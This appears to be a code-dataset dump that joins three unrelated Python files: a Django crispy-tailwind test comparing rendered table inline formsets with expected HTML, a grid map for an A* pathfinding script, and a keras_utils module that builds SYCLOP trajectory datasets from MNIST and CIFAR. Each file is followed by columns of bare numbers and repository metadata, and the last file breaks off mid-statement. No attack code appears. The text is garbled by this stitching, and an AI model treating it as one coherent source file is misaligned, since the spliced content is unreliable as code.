import django from django.forms import formset_factory from django.test import SimpleTestCase from crispy_forms.helper import FormHelper from crispy_forms.utils import render_crispy_form from crispy_tailwind.layout import Submit from .forms import SampleForm, ShortCharFieldForm class CrispyHelperTests(SimpleTestCase): maxDiff = None def test_table_inline_formset(self): SampleFormSet = formset_factory(SampleForm, extra=2) formset = SampleFormSet() formset.helper = FormHelper() formset.helper.form_tag = False formset.helper.add_input(Submit("submit", "submit")) formset.helper.template = "tailwind/table_inline_formset.html" html = render_crispy_form(formset) expected_html = """ <div> <input type="hidden" name="form-TOTAL_FORMS" value="2" id="id_form-TOTAL_FORMS" /> <input type="hidden" name="form-INITIAL_FORMS" value="0" id="id_form-INITIAL_FORMS" /> <input type="hidden" name="form-MIN_NUM_FORMS" value="0" id="id_form-MIN_NUM_FORMS" /> <input type="hidden" name="form-MAX_NUM_FORMS" value="1000" id="id_form-MAX_NUM_FORMS" /> </div> <table class="table-auto"> <thead> <tr> <th for="id_form-0-is_company" class="px-4 py-2"> company </th> <th for="id_form-0-email" class="px-4 py-2">email<span class="asteriskField">*</span></th> <th for="id_form-0-password1" class="px-4 py-2">password<span class="asteriskField">*</span></th> <th for="id_form-0-password2" class="px-4 py-2">re-enter password<span class="asteriskField">*</span></th> <th for="id_form-0-first_name" class="px-4 py-2">first name<span class="asteriskField">*</span></th> <th for="id_form-0-last_name" class="px-4 py-2">last name<span class="asteriskField">*</span></th> <th for="id_form-0-datetime_field" class="px-4 py-2">date time<span class="asteriskField">*</span></th> <th for="id_form-0-tos_accepted" class="px-4 py-2">terms of service<span class="asteriskField">*</span></th> </tr> </thead> <tbody> <tr> <td id="div_id_form-0-is_company" class="border px-4 py-2"><input type="checkbox" name="form-0-is_company" class=" checkboxinput" id="id_form-0-is_company" /></td> <td id="div_id_form-0-email" class="border px-4 py-2"> <input type="text" name="form-0-email" maxlength="30" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-0-email" /> <small id="hint_id_form-0-email" class="text-gray-600">Insert your email</small> </td> <td id="div_id_form-0-password1" class="border px-4 py-2"> <input type="password" name="form-0-password1" maxlength="30" class="passwordinput w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-0-password1" /> </td> <td id="div_id_form-0-password2" class="border px-4 py-2"> <input type="password" name="form-0-password2" maxlength="30" class="passwordinput w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-0-password2" /> </td> <td id="div_id_form-0-first_name" class="border px-4 py-2"> <input type="text" name="form-0-first_name" maxlength="5" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-0-first_name" /> </td> <td id="div_id_form-0-last_name" class="border px-4 py-2"> <input type="text" name="form-0-last_name" maxlength="5" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-0-last_name" /> </td> <td id="div_id_form-0-datetime_field" class="border px-4 py-2"> <input type="text" name="form-0-datetime_field_0" class="dateinput border border-gray-300 text-gray-700 focus:outline-none px-4 mr-2 bg-white focus:outline leading-normal rounded-lg py-2 appearance-none" id="id_form-0-datetime_field_0" /> <input type="text" name="form-0-datetime_field_1" class="timeinput border border-gray-300 text-gray-700 focus:outline-none px-4 mr-2 bg-white focus:outline leading-normal rounded-lg py-2 appearance-none" id="id_form-0-datetime_field_1" /> </td> <td id="div_id_form-0-tos_accepted" class="border px-4 py-2"> <div class="border px-4 py-2"> <div class="relative"> <select class="bg-white focus:outline-none border border-gray-300 rounded-lg py-2 px-4 block w-full appearance-none leading-normal text-gray-700" name="form-0-tos_accepted" id="id_form-0-tos_accepted"> <option value="accepted">Accepted</option> <option value="not_accepted">Not accepted</option> </select> <div class="pointer-events-none absolute inset-y-0 right-0 flex items-center px-2 text-gray-700"> <svg class="fill-current h-4 w-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M9.293 12.95l.707.707L15.657 8l-1.414-1.414L10 10.828 5.757 6.586 4.343 8z" /></svg> </div> </div> </div> </td> </tr> <tr> <td id="div_id_form-1-is_company" class="border px-4 py-2"><input type="checkbox" name="form-1-is_company" class=" checkboxinput" id="id_form-1-is_company" /></td> <td id="div_id_form-1-email" class="border px-4 py-2"> <input type="text" name="form-1-email" maxlength="30" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-1-email" /> <small id="hint_id_form-1-email" class="text-gray-600">Insert your email</small> </td> <td id="div_id_form-1-password1" class="border px-4 py-2"> <input type="password" name="form-1-password1" maxlength="30" class="passwordinput w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-1-password1" /> </td> <td id="div_id_form-1-password2" class="border px-4 py-2"> <input type="password" name="form-1-password2" maxlength="30" class="passwordinput w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-1-password2" /> </td> <td id="div_id_form-1-first_name" class="border px-4 py-2"> <input type="text" name="form-1-first_name" maxlength="5" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-1-first_name" /> </td> <td id="div_id_form-1-last_name" class="border px-4 py-2"> <input type="text" name="form-1-last_name" maxlength="5" class="textinput textInput inputtext w-full border border-gray-300 focus:outline-none text-gray-700 px-4 bg-white leading-normal rounded-lg block py-2 appearance-none" id="id_form-1-last_name" /> </td> <td id="div_id_form-1-datetime_field" class="border px-4 py-2"> <input type="text" name="form-1-datetime_field_0" class="dateinput border border-gray-300 text-gray-700 focus:outline-none px-4 mr-2 bg-white focus:outline leading-normal rounded-lg py-2 appearance-none" id="id_form-1-datetime_field_0" /> <input type="text" name="form-1-datetime_field_1" class="timeinput border border-gray-300 text-gray-700 focus:outline-none px-4 mr-2 bg-white focus:outline leading-normal rounded-lg py-2 appearance-none" id="id_form-1-datetime_field_1" /> </td> <td id="div_id_form-1-tos_accepted" class="border px-4 py-2"> <div class="border px-4 py-2"> <div class="relative"> <select class="bg-white focus:outline-none border border-gray-300 rounded-lg py-2 px-4 block w-full appearance-none leading-normal text-gray-700" name="form-1-tos_accepted" id="id_form-1-tos_accepted"> <option value="accepted">Accepted</option> <option value="not_accepted">Not accepted</option> </select> <div class="pointer-events-none absolute inset-y-0 right-0 flex items-center px-2 text-gray-700"> <svg class="fill-current h-4 w-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M9.293 12.95l.707.707L15.657 8l-1.414-1.414L10 10.828 5.757 6.586 4.343 8z" /></svg> </div> </div> </div> </td> </tr> </tbody> </table> <div class="mt-3"> <div class="form-group"> <div class=""><input type="submit" name="submit" value="submit" class="bg-green-500 hover:bg-green-700 text-white font-bold py-2 px-4 rounded" id="submit-id-submit" /></div> </div> </div> """ self.assertHTMLEqual(html, expected_html) def test_failing_table_inline_formset(self): SampleFormSet = formset_factory(ShortCharFieldForm, extra=1, max_num=2, validate_max=True) data = { "name-0-name": "test", "name-INITIAL_FORMS": "0", "name-MIN_NUM_FORMS": "0", "name-MAX_NUM_FORMS": "0", "name-TOTAL_FORMS": "3", } formset = SampleFormSet(data=data, prefix="name") formset.helper = FormHelper() formset.helper.add_input(Submit("submit", "submit")) formset.helper.template = "tailwind/table_inline_formset.html" if django.VERSION < (3, 2): formset.non_form_errors = ["Please submit at most 2 forms."] html = render_crispy_form(formset) expected_html = """ <form method="post"> <div> <input type="hidden" name="name-TOTAL_FORMS" value="3" id="id_name-TOTAL_FORMS"> <input type="hidden" name="name-INITIAL_FORMS" value="0" id="id_name-INITIAL_FORMS"> <input type="hidden" name="name-MIN_NUM_FORMS" value="0" id="id_name-MIN_NUM_FORMS"> <input type="hidden" name="name-MAX_NUM_FORMS" value="0" id="id_name-MAX_NUM_FORMS"> </div> <div class="alert mb-4"> <div class="border border-red-400 rounded-b bg-red-100 px-4 py-3 text-red-700"> <ul> <li>Please submit at most 2 forms.</li> </ul> </div> </div> <table class="table-auto"> <thead> <tr> <th for="id_name-0-name" class="px-4 py-2"> Name<span class="asteriskField">*</span> </th> </tr> </thead> <tbody> <tr> <td id="div_id_name-0-name" class="border px-4 py-2"> <input type="text" name="name-0-name" value="test" maxlength="3" class="textinput textInput inputtext bg-white px-4 w-full appearance-none border py-2 focus:outline-none border-red-500 block rounded-lg leading-normal text-gray-700" id="id_name-0-name"> <p id="error_1_id_name-0-name" class="text-red-500 text-xs italic"><strong>Ensure this value has at most 3 characters (it has 4).</strong></p> </td> </tr> <tr> <td id="div_id_name-1-name" class="border px-4 py-2"> <input type="text" name="name-1-name" maxlength="3" class="textinput textInput inputtext bg-white px-4 w-full appearance-none border py-2 focus:outline-none border-gray-300 block rounded-lg leading-normal text-gray-700" id="id_name-1-name"> </td> </tr> <tr> <td id="div_id_name-2-name" class="border px-4 py-2"> <input type="text" name="name-2-name" maxlength="3" class="textinput textInput inputtext bg-white px-4 w-full appearance-none border py-2 focus:outline-none border-gray-300 block rounded-lg leading-normal text-gray-700" id="id_name-2-name"> </td> </tr> </tbody> </table> <div class="mt-3"> <div class="form-group"> <div class=""> <input type="submit" name="submit" value="submit" class="bg-green-500 hover:bg-green-700 text-white font-bold py-2 px-4 rounded" id="submit-id-submit" /> </div> </div> </div> </form> """ self.assertHTMLEqual(html, expected_html)
62.129278
367
0.501775
1,981
16,340
4.039879
0.100959
0.019493
0.019368
0.022492
0.882544
0.842184
0.788329
0.726977
0.698238
0.69424
0
0.052067
0.378213
16,340
262
368
62.366412
0.73563
0
0
0.606299
0
0.161417
0.91273
0.166401
0
0
0
0
0.007874
1
0.007874
false
0.086614
0.027559
0
0.043307
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
b191346eb9e54e89470c0a2ec18b044a465e65fc
935
py
Python
PopUpNext_v2/parameters.py
stefanbirs/FMES
d31d36c9abb08a0388a02a9178df58c58d2ec506
[ "Apache-2.0" ]
3
2018-10-13T20:15:10.000Z
2020-03-31T09:03:04.000Z
PopUpNext_v2/parameters.py
stefanbirs/FMES
d31d36c9abb08a0388a02a9178df58c58d2ec506
[ "Apache-2.0" ]
2
2018-11-23T15:48:55.000Z
2018-11-23T15:50:54.000Z
PopUpNext_v2/parameters.py
stefanbirs/FMES
d31d36c9abb08a0388a02a9178df58c58d2ec506
[ "Apache-2.0" ]
2
2018-10-13T20:15:12.000Z
2020-03-02T03:37:26.000Z
import a_star import generate_citymap # City Map maze = [[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 0, 2, 1, 2, 0, 2, 0, 2, 0, 2, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 0, 2, 1, 2, 0, 2, 0, 2, 0, 2, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 0, 2, 1, 2, 0, 2, 0, 2, 0, 2, 0], [1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0, 2, 0], [1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0], [0, 2, 0, 2, 1, 2, 0, 2, 1, 2, 0, 2, 0], [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0], [0, 2, 0, 2, 1, 2, 0, 2, 1, 2, 0, 2, 0], [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0]] tmaze = a_star.flip_matrix(maze) # Flipped City Map eq_len = 13 len_x = eq_len # maze length x len_y = eq_len # maze length y size = (len_x, len_y) # generates City Map with traffic density #tmaze = generate_citymap.generate_city(size, (0.25))
32.241379
53
0.42246
223
935
1.713004
0.121076
0.340314
0.39267
0.376963
0.439791
0.434555
0.410995
0.410995
0.410995
0.410995
0
0.28201
0.340107
935
28
54
33.392857
0.337115
0.15508
0
0.35
1
0
0
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4952e0ca73bda7ed533f9b9bf52adad972385f44
58,945
py
Python
keras_utils.py
sashkarivkind/imagewalker
999e1ae78cfe1512e1be894d9e7891a7d0c41233
[ "Apache-2.0" ]
2
2021-04-28T13:33:45.000Z
2021-11-09T14:31:09.000Z
keras_utils.py
sashkarivkind/imagewalker
999e1ae78cfe1512e1be894d9e7891a7d0c41233
[ "Apache-2.0" ]
null
null
null
keras_utils.py
sashkarivkind/imagewalker
999e1ae78cfe1512e1be894d9e7891a7d0c41233
[ "Apache-2.0" ]
1
2021-03-07T13:25:59.000Z
2021-03-07T13:25:59.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Some order to the code - the utils! """ from __future__ import division, print_function, absolute_import import numpy as np import cv2 import misc from RL_networks import Stand_alone_net import pandas as pd import random import os # import importlib # importlib.reload(misc) import matplotlib.pyplot as plt import SYCLOP_env as syc import tensorflow as tf import tensorflow.keras as keras #Define function for low resolution lens on syclop def bad_res101(img,res): sh=np.shape(img) dwnsmp=cv2.resize(img,res, interpolation = cv2.INTER_CUBIC) upsmp = cv2.resize(dwnsmp,sh[:2], interpolation = cv2.INTER_CUBIC) return upsmp def bad_res102(img,res): sh=np.shape(img) dwnsmp=cv2.resize(img,res, interpolation = cv2.INTER_CUBIC) return dwnsmp def create_trajectory(starting_point, sample = 5, style = 'brownian', noise = 0.15, step_size = 0.8): steps = [] phi = np.random.randint(0.1,2*np.pi) #the angle in polar coordinates speed = step_size#np.abs(0.5 + np.random.normal(0,0.5)) #Constant added to the radios r = 3 name_list = ['const direction + noise','ZigZag','spiral', 'brownian','degenerate'] speed_noise = speed * 0.2 phi_noise = 0.05 x, y = starting_point[1], starting_point[0] steps.append([y,x]) phi_speed = (1/8)*np.pi old_style = style for j in range(sample-1): style = old_style if style == 'mix': old_style = 'mix' style = random.sample(name_list, 1) if style == 'const_p_noise': r += speed + np.random.normal(-0.5,speed_noise) phi_noise = noise phi_speed = np.random.normal(0,phi_noise) phi += phi_speed elif style == 'ZigZag': r += speed + np.random.normal(-0.5,speed_noise) phi_noise = 0.005 phi_speed *= -1 phi += phi_speed + np.random.normal(0,phi_noise) elif style == 'spiral': r += speed/2 + np.random.normal(-0.5,speed_noise) phi_noise = 0.1 phi_speed = np.random.normal((2/4)*np.pi,(1/8)*np.pi) factor = 1#np.random.choice([-1,1]) phi += factor * phi_speed elif style == 'big_steps': r += speed/2 + np.random.normal(-0.5,speed_noise) phi_noise = 0.1 phi_speed = np.random.normal((2/4)*np.pi,(1/8)*np.pi) factor = np.random.choice([-1,1]) phi += factor * phi_speed elif style == 'brownian': r += speed/2 + np.random.normal(-0.5,speed_noise) phi = np.random.randint(0.1,2*np.pi) elif style == 'degenerate': r += speed + np.random.normal(-0.5,speed_noise) elif style == 'old': starting_point += np.random.randint(-2,3,2) r = 0 phi = 0 x, y = starting_point[1] + int(r * np.cos(phi)), starting_point[0]+int(r * np.sin(phi)) steps.append([y,x]) return steps #The Dataset formation def create_mnist_dataset(images, labels, res, sample = 5, mixed_state = True, add_traject = True, trajectory_list=None,return_datasets=False, add_seed = 20, show_fig = False, mix_res = False, bad_res_func = bad_res102, up_sample = False): ''' Creates a torch dataloader object of syclop outputs from a list of images and labels. Parameters ---------- images : List object holding the images to proces labels : List object holding the labels res : resolution dawnsampling factor - to be used in cv.resize(orig_img, res) sample: the number of samples to have in syclop mixed_state : if False, use the same trajectory on every image. trajectory_list : uses a preset trajectory from the list. return_datasets: rerutns datasets rather than dataloaders add_seed : creates a random seed option to have a limited number of random trajectories, default = 20 (number of trajectories) show_fig : to show or not an example of the dataset, defoult = False mix_res : Weather or not to create a mix of resolution in each call to the dataset, to use to learn if the network is able to learn mixed resolution to gain better performance in the lower res part. default = bed_res_func : The function that creats the bad resolution images up_sample : weather the bad_res_func used up sampling or not, it changes the central view values. Returns ------- train_dataloader, test_dataloader - torch DataLoader class objects ''' count = 0 ts_images = [] dvs_images = [] q_seq = [] count = 0 res_orig = res * 1 if show_fig: #create subplot to hold examples from the dataset fig, ax = plt.subplots(2,5) i = 0 #indexises for the subplot for image and for syclop vision for img_num,img in enumerate(images): if add_seed: np.random.seed(random.randint(0,add_seed)) if mix_res: res = random.randint(6,10) if img_num >= 55000: res = res_orig orig_img = np.reshape(img,[28,28]) #Set the padded image img=misc.build_mnist_padded(1./256*np.reshape(img,[1,28,28])) if img_num == 42: print('Are we random?', np.random.randint(1,20)) if show_fig: if count < 5: ax[0,i].imshow(orig_img) plt.title(labels[count]) #Set the sensor and the agent scene = syc.Scene(image_matrix=img) if up_sample: sensor = syc.Sensor(winx=56,winy=56,centralwinx=28,centralwiny=28, resolution_fun = lambda x: bad_res_func(x,(res,res)), resolution_fun_type = 'down') else: sensor = syc.Sensor(winx=56,winy=56,centralwinx=res//2,centralwiny=res//2, resolution_fun = lambda x: bad_res_func(x,(res,res)), resolution_fun_type = 'down') agent = syc.Agent(max_q = [scene.maxx-sensor.hp.winx,scene.maxy-sensor.hp.winy]) #Setting the coordinates to visit if trajectory_list is None: starting_point = np.array([agent.max_q[0]//2,agent.max_q[1]//2]) steps = [] for j in range(sample): steps.append(starting_point*1) starting_point += np.random.randint(-5,5,2) if mixed_state: q_sequence = np.array(steps).astype(int) else: if count == 0: q_sequence = np.array(steps).astype(int) else: q_sequence = np.array(trajectory_list[img_num]).astype(int) #Setting the resolution function - starting with the regular resolution #Create empty lists to store the syclops outputs imim=[] dimim=[] agent.set_manual_trajectory(manual_q_sequence=q_sequence) #Run Syclop for 20 time steps for t in range(len(q_sequence)): agent.manual_act() sensor.update(scene, agent) ############################################################################ #############CHANGED FROM sensor.central_frame_view TO sensor.frame_view#### ############################################################################ imim.append(sensor.frame_view) dimim.append(sensor.dvs_view) #Create a unified matrix from the list if show_fig: if count < 5: ax[1,i].imshow(imim[0]) plt.title(labels[count]) i+=1 imim = np.array(imim) dimim = np.array(dimim) #Add current proccessed image to lists ts_images.append(imim) dvs_images.append(dimim) q_seq.append(q_sequence/128) count += 1 if add_traject: #If we add the trjectories the train list will become a list of lists, the images and the #corrosponding trajectories, we will change the dataset structure as well. Note the the labels stay the same. ts_train = (ts_images[:55000], q_seq[:55000]) train_labels = labels[:55000] ts_val = (ts_images[55000:], q_seq[55000:]) val_labels = labels[55000:] else: ts_train = ts_images[:55000] train_labels = labels[:55000] ts_val = ts_images[55000:] val_labels = labels[55000:] dvs_train = dvs_images[:55000] dvs_val = dvs_images[55000:] class mnist_dataset(): def __init__(self, data, labels, add_traject = False, transform = None): self.data = data self.labels = labels self.add_traject = add_traject self.transform = transform def __len__(self): if self.add_traject: return len(self.data[0]) else: return len(self.data[0]) def __getitem__(self, idx): ''' args idx (int) : index returns: tuple(data, label) ''' if self.add_traject: img_data = self.data[0][idx] traject_data = self.data[1][idx] label = self.labels[idx] return img_data, traject_data, label else: data = self.data[idx] if self.transform: data = self.transform(data) return data, label else: return data, label def dataset(self): return self.data def labels(self): return self.labels train_dataset = mnist_dataset(ts_train, train_labels,add_traject = True) test_dataset = mnist_dataset(ts_val, val_labels,add_traject = True) batch = 64 if return_datasets: return train_dataset, test_dataset #The Dataset formation def print_traject(images, labels, res, sample = 5, mixed_state = True, add_traject = True, trajectory_list=0,return_datasets=False, add_seed = True, show_fig = False, bad_res_func = bad_res102, up_sample = False): ''' Creates a torch dataloader object of syclop outputs from a list of images and labels. Parameters ---------- images : List object holding the images to proces labels : List object holding the labels res : resolution dawnsampling factor - to be used in cv.resize(orig_img, res) sample: the number of samples to have in syclop mixed_state : if False, use the same trajectory on every image. return_datasets: rerutns datasets rather than dataloaders Returns ------- train_dataloader, test_dataloader - torch DataLoader class objects ''' count = 0 ts_images = [] dvs_images = [] q_seq = [] count = 0 if show_fig: #create subplot to hold examples from the dataset fig, ax = plt.subplots(2,5) i = 0 #indexises for the subplot for image and for syclop vision for img_num,img in enumerate(images): if add_seed: np.random.seed(random.randint(0,add_seed)) orig_img = img*1 #Set the padded image img=misc.build_cifar_padded(1./256*img) img_size = img.shape if img_num == 42: print('Are we Random?? ', np.random.randint(1,20)) if show_fig: if count < 5: ax[0,i].imshow(orig_img) plt.title(labels[count]) #Set the sensor and the agent scene = syc.Scene(image_matrix=img) if up_sample: sensor = syc.Sensor(winx=56,winy=56,centralwinx=32,centralwiny=32,nchannels = 3,resolution_fun = lambda x: bad_res_func(x,(res,res)), resolution_fun_type = 'down') else: sensor = syc.Sensor(winx=56,winy=56,centralwinx=res//2,centralwiny=res//2,nchannels = 3,resolution_fun = lambda x: bad_res102(x,(res,res)), resolution_fun_type = 'down') agent = syc.Agent(max_q = [scene.maxx-sensor.hp.winx,scene.maxy-sensor.hp.winy]) #Setting the coordinates to visit if type(trajectory_list) is int: if trajectory_list: np.random.seed(trajectory_list) starting_point = np.array([agent.max_q[0]//2,agent.max_q[1]//2]) steps = [] for j in range(sample): steps.append(starting_point*1) starting_point += np.random.randint(-5,5,2) if mixed_state: q_sequence = np.array(steps).astype(int) else: if count == 0: q_sequence = np.array(steps).astype(int) else: q_sequence = np.array(trajectory_list[img_num]).astype(int) if count == 0 : print(q_sequence.shape) print(q_sequence) def create_cifar_dataset(images, labels, res, sample = 5, mixed_state = True, add_traject = True, trajectory_list=0,return_datasets=False, add_seed = True, show_fig = False, bad_res_func = bad_res102, up_sample = False, broadcast = 0, style = 'brownian', noise = 0.15, max_length = 20): ''' Creates a torch dataloader object of syclop outputs from a list of images and labels. Parameters ---------- images : List object holding the images to proces labels : List object holding the labels res : resolution dawnsampling factor - to be used in cv.resize(orig_img, res) sample: the number of samples to have in syclop mixed_state : if False, use the same trajectory on every image. return_datasets: rerutns datasets rather than dataloaders Returns ------- train_dataloader, test_dataloader - torch DataLoader class objects ''' if sample > max_length: max_length = sample print('max_length ({}) must be >= sample ({}), changed max_length to be == sample'.format(max_length, sample)) count = 0 ts_images = [] dvs_images = [] q_seq = [] seed_list = [] count = 0 if mixed_state: np.random.seed(42) new_seed = 42 if show_fig: #create subplot to hold examples from the dataset fig, ax = plt.subplots(2,5) i = 0 #indexises for the subplot for image and for syclop vision for img_num,img in enumerate(images): if add_seed: new_seed = random.randint(0,add_seed) np.random.seed(new_seed) orig_img = img*1 #Set the padded image img=misc.build_cifar_padded(1./256*img) img_size = img.shape if img_num == 42: print('Are we Random?? ', np.random.randint(1,20)) if show_fig: if count < 5: ax[0,i].imshow(orig_img) plt.title(labels[count]) #Set the sensor and the agent scene = syc.Scene(image_matrix=img) if up_sample: sensor = syc.Sensor(winx=56,winy=56,centralwinx=32,centralwiny=32,nchannels = 3,resolution_fun = lambda x: bad_res_func(x,(res,res)), resolution_fun_type = 'down') else: sensor = syc.Sensor(winx=32,winy=32,centralwinx=res//2,centralwiny=res//2,nchannels = 3,resolution_fun = lambda x: bad_res102(x,(res,res)), resolution_fun_type = 'down') agent = syc.Agent(max_q = [scene.maxx-sensor.hp.winx,scene.maxy-sensor.hp.winy]) #Setting the coordinates to visit if type(trajectory_list) is int: if trajectory_list: np.random.seed(trajectory_list) starting_point = np.array([agent.max_q[0]//2,agent.max_q[1]//2]) steps = create_trajectory(starting_point= starting_point, sample = sample, style = style, noise = noise) if mixed_state: seed_list.append(new_seed) q_sequence = np.array(steps).astype(int) else: if count == 0: q_sequence = np.array(steps).astype(int) else: q_sequence = np.array(trajectory_list[img_num]).astype(int) if count == 0 : print(q_sequence.shape) #Create empty lists to store the syclops outputs imim=[] dimim=[] agent.set_manual_trajectory(manual_q_sequence=q_sequence) #Run Syclop for 20 time steps for t in range(len(q_sequence)): agent.manual_act() sensor.update(scene, agent) ############################################################################ #############CHANGED FROM sensor.central_frame_view TO sensor.frame_view#### ############################################################################ imim.append(sensor.frame_view) dimim.append(sensor.dvs_view) #Create a unified matrix from the list if show_fig: if count < 5: ax[1,i].imshow(imim[0]) plt.title(labels[count]) i+=1 #imim shape [sample,res,res,3] imim = np.array(imim) dimim = np.array(dimim) #Add current proccessed image to lists ts_images.append(imim) dvs_images.append(dimim) if broadcast==1: broadcast_place = np.ones(shape = [sample,res,res,2]) for i in range(sample): broadcast_place[i,:,:,0] *= q_sequence[i,0] broadcast_place[i,:,:,1] *= q_sequence[i,1] q_seq.append(broadcast_place/img_size[0]) else: q_seq.append(q_sequence/img_size[0]) count += 1 print(q_sequence) #pre pad all images to max_length for idx, image in enumerate(ts_images): image_base = np.zeros(shape = [max_length, res, res, 3]) if broadcast==1: seq_base = np.zeros(shape = [max_length, res, res, 2]) else: seq_base = np.zeros([max_length, 2]) image_base[-len(imim):] = image seq_base[-len(q_sequence):] = q_seq[idx] ts_images[idx] = image_base * 1 q_seq[idx] = seq_base * 1 if add_traject: #If we add the trjectories the train list will become a list of lists, the images and the #corrosponding trajectories, we will change the dataset structure as well. Note the the labels stay the same. ts_train = (ts_images[:45000], q_seq[:45000]) train_labels = labels[:45000] ts_val = (ts_images[45000:], q_seq[45000:]) val_labels = labels[45000:] else: ts_train = ts_images[:45000] train_labels = labels[:45000] ts_val = ts_images[45000:] val_labels = labels[45000:] dvs_train = dvs_images[:45000] dvs_val = dvs_images[45000:] class cifar_dataset(): def __init__(self, data, labels, add_traject = False, transform = None): self.data = data self.labels = labels self.add_traject = add_traject self.transform = transform def __len__(self): if self.add_traject: return len(self.data[0]) else: return len(self.data[0]) def __getitem__(self, idx): ''' args idx (int) : index returns: tuple(data, label) ''' if self.add_traject: img_data = self.data[0][idx] traject_data = self.data[1][idx] label = self.labels[idx] return img_data, traject_data, label else: data = self.data[idx] if self.transform: data = self.transform(data) return data, label else: return data, label def dataset(self): return self.data def labels(self): return self.labels train_dataset = cifar_dataset(ts_train, train_labels,add_traject = add_traject) test_dataset = cifar_dataset(ts_val, val_labels,add_traject = add_traject) if return_datasets: if mixed_state: return train_dataset, test_dataset, seed_list else: return train_dataset, test_dataset def mnist_split_dataset_xy(dataset,n_timesteps=5): dataset_x1 = [uu[0] for uu in dataset] dataset_x2 = [uu[1] for uu in dataset] dataset_y = [uu[-1] for uu in dataset] return (np.array(dataset_x1)[...,np.newaxis],np.array(dataset_x2)[:,:n_timesteps,:]),np.array(dataset_y) def split_dataset_xy(dataset,sample,one_random_sample=False, return_x1_only=False): dataset_x1 = [uu[0] for uu in dataset] dataset_x2 = [uu[1] for uu in dataset] dataset_y = [uu[-1] for uu in dataset] if one_random_sample: #returning one random sample from each sequence (used in baseline tests) data_len = np.shape(dataset_x1)[0] indx = list(range(data_len)) pick_sample = np.random.randint(sample,size=data_len) if return_x1_only: return np.array(dataset_x1)[indx,pick_sample,...], np.array(dataset_y) #todo: understand why we need a new axis here! # return np.array(dataset_x1)[indx,pick_sample,...,np.newaxis], np.array(dataset_y) else: return (np.array(dataset_x1)[indx,pick_sample,...,np.newaxis],np.array(dataset_x2)[:,:sample,:]),np.array(dataset_y) #todo: understand why there is an extra axis here?? else: if return_x1_only: return np.array(dataset_x1),np.array(dataset_y) else: return (np.array(dataset_x1)[...,np.newaxis],np.array(dataset_x2)[:,:sample,:]),np.array(dataset_y) #todo: understand why there is an extra axis here?? def write_to_file(history, net,paramaters, dataset_number): file_name = 'summary_file_{}_{}.txt'.format(net.name, dataset_number) if os.path.isfile('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name)): file = open('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name), 'a') else: file = open('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name), 'x') from datetime import datetime file.write('#####################\n') now = datetime.now() now = now.strftime("%d/%m/%Y %H:%M:%S") file.write(now + '\n') file.write(str(paramaters) + "\n") max_test = max(history.history['val_sparse_categorical_accuracy']) max_location = np.argmax(history.history['val_sparse_categorical_accuracy']) mean_last_20 = np.mean(history.history['val_sparse_categorical_accuracy'][-20:]) max_train = max((history.history['sparse_categorical_accuracy'])) when_train_reached_test_max = np.where(np.array(history.history['sparse_categorical_accuracy']) > max_test ) if len(when_train_reached_test_max)>1: when_train_reached_test_max = when_train_reached_test_max[0] summary_of_run = "max_test = {}, max_location = {}, mean_last_20 = {}, max_train = {}, when_train_reached_test_max = {}\n".\ format(max_test,max_location,mean_last_20,max_train,when_train_reached_test_max) file.write(summary_of_run) file.close() def dataset_update(history, net, parameters, dataset_number): file_name = 'summary_dataframe_{}_{}.pkl'.format(net.name, dataset_number) if os.path.isfile('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name)): dataframe = pd.read_pickle('/home/labs/ahissarlab/orra/imagewalker/cifar_net_search/{}'.format(file_name)) else: dataframe = pd.DataFrame() values_to_add = parameters values_to_add['max_test'] = max(history.history['val_sparse_categorical_accuracy']) values_to_add['max_location'] = np.argmax(history.history['val_sparse_categorical_accuracy']) values_to_add['mean_last_20'] = np.mean(history.history['val_sparse_categorical_accuracy'][-20:]) values_to_add['max_train'] = max((history.history['sparse_categorical_accuracy'])) values_to_add['when_train_reached_test_max'] = np.where(np.array(history.history['sparse_categorical_accuracy']) > parameters["max_test"] ) if len(values_to_add['when_train_reached_test_max'])>1: values_to_add['when_train_reached_test_max'] = values_to_add['when_train_reached_test_max'][0] dataframe = 